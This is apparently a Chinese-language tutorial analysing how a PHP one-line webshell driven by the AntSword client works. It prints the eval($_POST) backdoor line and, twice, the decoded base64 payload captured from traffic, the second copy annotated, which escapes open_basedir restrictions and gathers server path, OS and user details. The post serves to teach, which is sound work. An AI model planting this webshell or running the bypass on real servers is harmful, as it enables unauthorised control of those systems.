写这篇文章我的想法是,在了解文件上传漏洞之前,我们应该知道为什么要上传webshell,就像在我们磨刀之前应该要知道我们要拿刀来干啥 : )
以一句话木马来说,就单凭一小行代码怎么能做到控制别人的服务器的呢?这是值得思考的,所以请看下文。
首先,我已经上传了一句话木马:
接下来通过对蚁剑传输流量的抓包分析:
我们能看到传输数据的字段有一大段编码和两个变量,它的工作原理是:
分为了两个字段
1:e002eeda8c12f5=[省略]
2:oupeng=eval(base64_decode($_POST('e002eeda8c12f5')))
第一个字段是base64编码后的值,解码后其内容是:
php
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
if(!@is_writable($item)){continue;};
$tmdir=$item."/0ac4da9ca";
@mkdir($tmdir);
if(!@file_exists($tmdir)){continue;}
$tmdir=realpath($tmdir);
@chdir($tmdir);
@ini_set("open_basedir", "..");
$cntarr=@preg_split("/\\\\|\\//",$tmdir);
for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
@ini_set("open_basedir","/");
@rmdir($tmdir);
break;
};
};;
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
ob_start();
try{
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
$R="{$D} ";
if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
$R.=" ";
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
$R.=php_uname();
$R.=" {$s}";
echo $R;
}catch(Exception $e){echo "ERROR://".$e->getMessage();}
asoutput();
die();
?>
第二个字段则是先用 $_POST('e002eeda8c12f5') 接到这段编码
然后用eval(base64_decode())的方式把它解码,这里嵌套的目的是用eval()执行base64_decode()
于是我们就能用oupeng接到解码后的代码
最后我们在回过头看我们的一句话木马:
eval($_POST['oupeng']);
也就是说最后蚁剑将处理后的值赋给oupeng这个变量,
然后网站中的一句话木马中的$_POST['oupe]接到这个变量,也就是接到这些代码,
最后再利用eval()在网站中执行这些代码
代码作用如下:
php
<?php
// 禁止显示错误信息
@ini_set("display_errors", "0");
// 设置脚本执行时间不限制
@set_time_limit(0);
// 获取 PHP 配置中的 open_basedir 值
$opdir=@ini_get("open_basedir");
if($opdir) {
// 获取当前脚本所在目录
$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
// 使用 base64 解码后进行拆分
$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
// 将当前目录和系统临时目录添加到数组中
@array_push($oparr,$ocwd,sys_get_temp_dir());
foreach($oparr as $item) {
// 如果目录不可写,则继续循环
if(!@is_writable($item)){continue;};
// 创建一个临时目录
$tmdir=$item."/0ac4da9ca";
@mkdir($tmdir);
// 如果目录不存在,则继续循环
if(!@file_exists($tmdir)){continue;}
// 获取临时目录的绝对路径
$tmdir=realpath($tmdir);
// 进入临时目录
@chdir($tmdir);
// 修改 open_basedir 为上一级目录
@ini_set("open_basedir", "..");
// 将路径按斜杠分隔成数组
$cntarr=@preg_split("/\\\\|\\//",$tmdir);
// 循环返回上级目录,直到根目录
for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");}
// 恢复 open_basedir 为根目录
@ini_set("open_basedir","/");
// 删除临时目录
@rmdir($tmdir);
break;
};
};
// 定义函数 asenc,无实际操作,直接返回输入
function asenc($out){return $out;};
// 定义函数 asoutput,将输出内容进行一些处理后输出
function asoutput(){$output=ob_get_contents();ob_end_clean();echo "f9b9d"."abb3d6";echo @asenc($output);echo "c84a1"."5b471";}
// 开始输出缓冲区
ob_start();
try{
// 获取当前脚本所在目录
$D=dirname($_SERVER["SCRIPT_FILENAME"]);
// 如果为空,则获取当前路径的上一级目录
if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
// 将当前目录信息存入变量 $R
$R="{$D} ";
// 如果路径不是绝对路径,则循环遍历 A 到 Z 盘符,获取可用盘符
if(substr($D,0,1)!="/"){foreach(range("C","Z")as$L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}
// 添加分隔符和系统信息
$R.=" ";
// 获取当前用户信息
$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
$s=($u)?$u["name"]:@get_current_user();
// 添加系统信息和当前用户信息到变量 $R
$R.=php_uname();
$R.=" {$s}";
// 输出变量 $R
echo $R;
}catch(Exception $e){
// 如果出现异常,则输出错误信息
echo "ERROR://".$e->getMessage();
}
// 输出经过处理的内容
asoutput();
// 结束脚本
die();
?>